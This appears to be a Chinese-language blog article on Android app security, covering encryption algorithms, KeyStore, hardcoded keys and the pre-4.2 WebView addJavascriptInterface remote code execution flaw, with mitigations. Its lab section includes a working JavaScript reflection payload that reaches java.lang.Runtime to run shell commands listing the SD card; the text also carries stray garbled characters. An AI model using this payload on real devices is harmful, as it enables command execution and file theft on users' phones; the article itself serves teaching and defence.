關(guān)于應(yīng)用安全開(kāi)發(fā)的參考文章:
Android保存私密信息-強(qiáng)大的keyStore
Android 應(yīng)用安全開(kāi)發(fā)之淺談加密算法的坑
安全性和隱私權(quán)最佳做法
Android應(yīng)用存儲(chǔ)安全與加固
Android數(shù)據(jù)加密之Des加密
應(yīng)用程序的安全問(wèn)題,大致分為以下4點(diǎn)
- 敏感數(shù)據(jù)沒(méi)有加密,容易被竊取斥难。
- Android安全漏洞沒(méi)有修補(bǔ),容易被利用攻擊轧叽。
- 代碼沒(méi)有混淆礼患,apk安裝包容易被逆向破解豫尽。
- 數(shù)據(jù)傳輸沒(méi)有使用https伪节,容易被中間人攻擊瑞信,運(yùn)營(yíng)劫持厉颤。
一、對(duì)敏感數(shù)據(jù)進(jìn)行加密
加密算法比較
常見(jiàn)加密算法分,用途,原理以及比較
數(shù)字簽名是什么凡简?
Android應(yīng)用安全開(kāi)發(fā)之淺談加密算法的坑
-
對(duì)稱加密算法逼友。即加密和解密均采用同一把秘密鑰匙
DES(Data Encryption Standard):數(shù)據(jù)加密標(biāo)準(zhǔn),速度較快秤涩,適用于加密大量數(shù)據(jù)的場(chǎng)合帜乞。
3DES(Triple DES):是基于DES,對(duì)一塊數(shù)據(jù)用三個(gè)不同的密鑰進(jìn)行三次加密筐眷,強(qiáng)度更高黎烈。
AES(Advanced Encryption Standard):在密碼學(xué)中又稱Rijndael加密法,是美國(guó)聯(lián)邦政府采用的一種區(qū)塊加密標(biāo)準(zhǔn)匀谣。高級(jí)加密標(biāo)準(zhǔn)照棋,是下一代的加密算法標(biāo)準(zhǔn),速度快武翎,安全級(jí)別高烈炭; -
非對(duì)稱加密算法。采用的加密鑰匙(公鑰)和解密鑰匙(私鑰)是不同的宝恶。
RSA:由 RSA 公司發(fā)明符隙,是一個(gè)支持變長(zhǎng)密鑰的公共密鑰算法,需要加密的文件塊的長(zhǎng)度也是可變的垫毙;
DSA(Digital Signature Algorithm):數(shù)字簽名算法霹疫,是一種標(biāo)準(zhǔn)的 DSS(數(shù)字簽名標(biāo)準(zhǔn));
ECC(Elliptic Curves Cryptography):橢圓曲線密碼編碼學(xué)综芥。 -
散列算法更米。散列是信息的提煉,通常其長(zhǎng)度要比信息小得多毫痕,且為一個(gè)固定長(zhǎng)度
MD5(Message Digest Algorithm 5):是RSA數(shù)據(jù)安全公司開(kāi)發(fā)的一種單向散列算法征峦。
SHA(Secure Hash Algorithm):可以對(duì)任意長(zhǎng)度的數(shù)據(jù)運(yùn)算生成一個(gè)160位的數(shù)值;
關(guān)于公鑰消请、私鑰
之前一直不理解這個(gè)鑰匙還能用于加密栏笆,本以為鑰匙不是用于解鎖的嗎?還能上鎖臊泰,其實(shí)是我理解錯(cuò)了蛉加,
數(shù)字簽名是什么?
利用KeyStore加密數(shù)據(jù)-Android4.3以上
KeyStore生成的密鑰來(lái)加密和解密敏感信息,包括銀卡號(hào)针饥、密碼厂抽、token等數(shù)據(jù),加密后可以放心的保存在SharedPreferences丁眼、數(shù)據(jù)庫(kù)中而不擔(dān)心被破解筷凤,即使手機(jī)被root導(dǎo)出數(shù)據(jù)也不必?fù)?dān)心。
二苞七、Android 安全漏洞
1. Android Webview遠(yuǎn)程代碼執(zhí)行漏洞
這個(gè)漏洞在Android 平臺(tái)4.2之前存在藐守,在后續(xù)的平臺(tái)中不會(huì)存在。利用該漏洞可以執(zhí)行很多后臺(tái)操作蹂风,比如操作手機(jī)的文件系統(tǒng)卢厂,下載病毒到手機(jī)上。
android各版本占比情況惠啄,API<=17的大概占比9.2%慎恒,還有將近10%的比例呀,以上數(shù)據(jù)來(lái)自google官方撵渡。
漏洞的危害
安卓WebView中接口隱患(遠(yuǎn)程代碼執(zhí)行漏洞)與手機(jī)掛馬利用學(xué)習(xí)
實(shí)驗(yàn)驗(yàn)證
實(shí)驗(yàn)?zāi)康模韩@取手機(jī)sdcard命令下的所有文件
準(zhǔn)備:Android4.1.1版本的手機(jī)一臺(tái)
開(kāi)發(fā)工具:Android studio
MainActivity
public class MainActivity extends Activity {
private WebView mWebView;
private Uri mUri;
private String url;
//String mUrl1 = "file:///android_asset/html/attack_file.html";file:///android_asset/test.html
String mUrl2 = "file:///android_asset/test.html";//https://security.tencent.com/lucky/check_tools.html
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_web_view);
mWebView = (WebView)findViewById(R.id.webview);
mWebView.getSettings().setJavaScriptEnabled(true);
mWebView.addJavascriptInterface(new JSInterface(), "jsInterface");
//webView.getSettings().setAllowFileAccessFromFileURLs(true);
mWebView.setWebChromeClient(new WebChromeClient() {
@Override
public boolean onJsAlert(WebView view, String url, String message,
JsResult result) {
//Required functionality here
return super.onJsAlert(view, url, message, result);
}
});
mWebView.loadUrl(mUrl2);
File file = new File("/sdcard/tt.txt");
try {
file.createNewFile();
} catch (IOException e) {
e.printStackTrace();
}
}
class JSInterface {
public String onButtonClick(String text) {
final String str = text;
runOnUiThread(new Runnable() {
@Override
public void run() {
Log.e("leehong2", "onButtonClick: text = " + str);
Toast.makeText(getApplicationContext(), "onButtonClick: text = " + str, Toast.LENGTH_LONG).show();
}
});
return "This text is returned from Java layer. js text = " + text;
}
public void onImageClick(String url, int width, int height) {
final String str = "onImageClick: text = " + url + " width = " + width + " height = " + height;
Log.i("leehong2", str);
runOnUiThread(new Runnable() {
@Override
public void run() {
Toast.makeText(getApplicationContext(), str, Toast.LENGTH_LONG).show();
}
});
}
}
}
無(wú)法是否設(shè)置了mWebView.addJavascriptInterface(new JSInterface(), "jsInterface")巧号,只要mWebView.getSettings().setJavaScriptEnabled(true);都會(huì)導(dǎo)致漏洞
test.html
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
<script>
var i=0;
function getContents(inputStream)
{
var contents = ""+i;
var b = inputStream.read();
var i = 1;
while(b != -1)
{
var bString = String.fromCharCode(b);
contents += bString;
contents += "\n"
b = inputStream.read();
}
i=i+1;
return contents;
}
function execute(cmdArgs)
{
for (var obj in window)
{
//console.log(window[obj]);
if ("getClass" in window[obj])
{
alert(window[obj]);
return window[obj].getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
}
}
}
//echo hello > test.txt
// var p = execute(["touch","/mnt/sdcard/yu2.txt"]);
var p = execute(["ls","/mnt/sdcard/"]);
document.write(getContents(p.getInputStream()));
</script>
<script language="javascript">
function onButtonClick()
{
// Call the method of injected object from Android source.
var text = jsInterface.onButtonClick("從JS中傳遞過(guò)來(lái)的文本!@驯铡丹鸿!");
alert(text);
}
function onImageClick()
{
//Call the method of injected object from Android source.
var src = document.getElementById("image").src;
var width = document.getElementById("image").width;
var height = document.getElementById("image").height;
// Call the method of injected object from Android source.
//https://ss0.bdstatic.com/70cFuHSh_Q1YnxGkpoWK1HF6hhy/it/u=292050601,2473871589&fm=26&gp=0.jpg
window.jsInterface.onImageClick(src, width, height);
}
</script>
</head>
<body>
<p>點(diǎn)擊圖片把URL傳到Java代碼</p>
<img class="curved_box" id="image"
onclick="onImageClick()"
width="328"
height="185"
src="https://ss0.bdstatic.com/70cFuHSh_Q1YnxGkpoWK1HF6hhy/it/u=292050601,2473871589&fm=26&gp=0.jpg"
onerror="this.src='background_chl.jpg'"/>
</p>
<button type="button" onclick="onButtonClick()">與Java代碼交互</button>
</body>
</html>
該漏洞主要是由于js可以通過(guò)反射機(jī)制獲取到了java.lang.Runtime,通過(guò)命令來(lái)操作系統(tǒng)棚品。
AndroidManifest.xml
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.scott.myapplication">
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
<application
android:allowBackup="true"
android:icon="@mipmap/ic_launcher"
android:label="@string/app_name"
android:roundIcon="@mipmap/ic_launcher_round"
android:supportsRtl="true">
<activity
android:name=".MainActivity"
android:label="@string/title_activity_main">
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
</application>
</manifest>
實(shí)驗(yàn)結(jié)果
終于驗(yàn)證了webview的漏洞靠欢,一定要找一個(gè)Android4.2.2以下版本的手機(jī),用虛擬機(jī)不容易驗(yàn)證铜跑!
解決漏洞辦法
-
在Android4.2.2版本之前
- 如果不需要用到和Javascript進(jìn)行交交互门怪,要禁止與遠(yuǎn)程Javascript交互的接口,刪除searchBoxJavaBridge_接口锅纺,不使用addJavascriptInterface方法掷空。
mWebView.getSettings().setJavaScriptEnabled(false);
mWebView.removeJavascriptInterface("searchBoxJavaBridge_");
mWebView.removeJavascriptInterface("accessibility");
mWebView.removeJavascriptInterface("accessibilityTraversal");
- 如果不需要用到和Javascript進(jìn)行交交互门怪,要禁止與遠(yuǎn)程Javascript交互的接口,刪除searchBoxJavaBridge_接口锅纺,不使用addJavascriptInterface方法掷空。
如果需要和Javascript進(jìn)行交互。
Android WebView的Js對(duì)象注入漏洞解決方案
WebView 遠(yuǎn)程代碼執(zhí)行漏洞淺析
在WebView中如何讓JS與Java安全地互相調(diào)用囤锉。這篇文章所說(shuō)的解決辦法坦弟,還是需要調(diào)用下面三個(gè)方法,才能達(dá)到解決漏洞的目的官地。
mWebView.removeJavascriptInterface("searchBoxJavaBridge_");
mWebView.removeJavascriptInterface("accessibility");
mWebView.removeJavascriptInterface("accessibilityTraversal");在Android4.2.2版本之后
采用注解@JavascriptInterface酿傍。
2. 密鑰硬編碼
密鑰硬編碼的幾種形式
- 密鑰直接明文存在sharedprefs文件中,這是最不安全的驱入。
- 密鑰直接硬編碼在Java代碼中赤炒,這很不安全氯析,dex文件很容易被逆向成java代碼。
- 將密鑰分成不同的幾段莺褒,有的存儲(chǔ)在文件中掩缓、有的存儲(chǔ)在代碼中,最后將他們拼接起來(lái)遵岩,可以將整個(gè)操作寫的很復(fù)雜你辣,這因?yàn)檫€是在java層,逆向者只要花點(diǎn)時(shí)間旷余,也很容易被逆向。
- 用ndk開(kāi)發(fā)扁达,將密鑰放在so文件正卧,加密解密操作都在so文件里,這從一定程度上提高了的安全性跪解,擋住了一些逆向者炉旷,但是有經(jīng)驗(yàn)的逆向者還是會(huì)使用IDA破解的。
- 在so文件中不存儲(chǔ)密鑰叉讥,so文件中對(duì)密鑰進(jìn)行加解密操作窘行,將密鑰加密后的密鑰命名為其他普通文件,存放在assets目錄下或者其他目錄下图仓,接著在so文件里面添加無(wú)關(guān)代碼(花指令)罐盔,雖然可以增加靜態(tài)分析難度,但是可以使用動(dòng)態(tài)調(diào)式的方法救崔,追蹤加密解密函數(shù)惶看,也可以查找到密鑰內(nèi)容。
密鑰存儲(chǔ)的正確方式
- 在Android4.3以上版本可以采用AndroidKeyStore的方式來(lái)存儲(chǔ)密鑰六孵。
Android 密鑰保護(hù)和 C/S 網(wǎng)絡(luò)傳輸安全理論指南
Android官方Security tips
Android 密鑰庫(kù)系統(tǒng)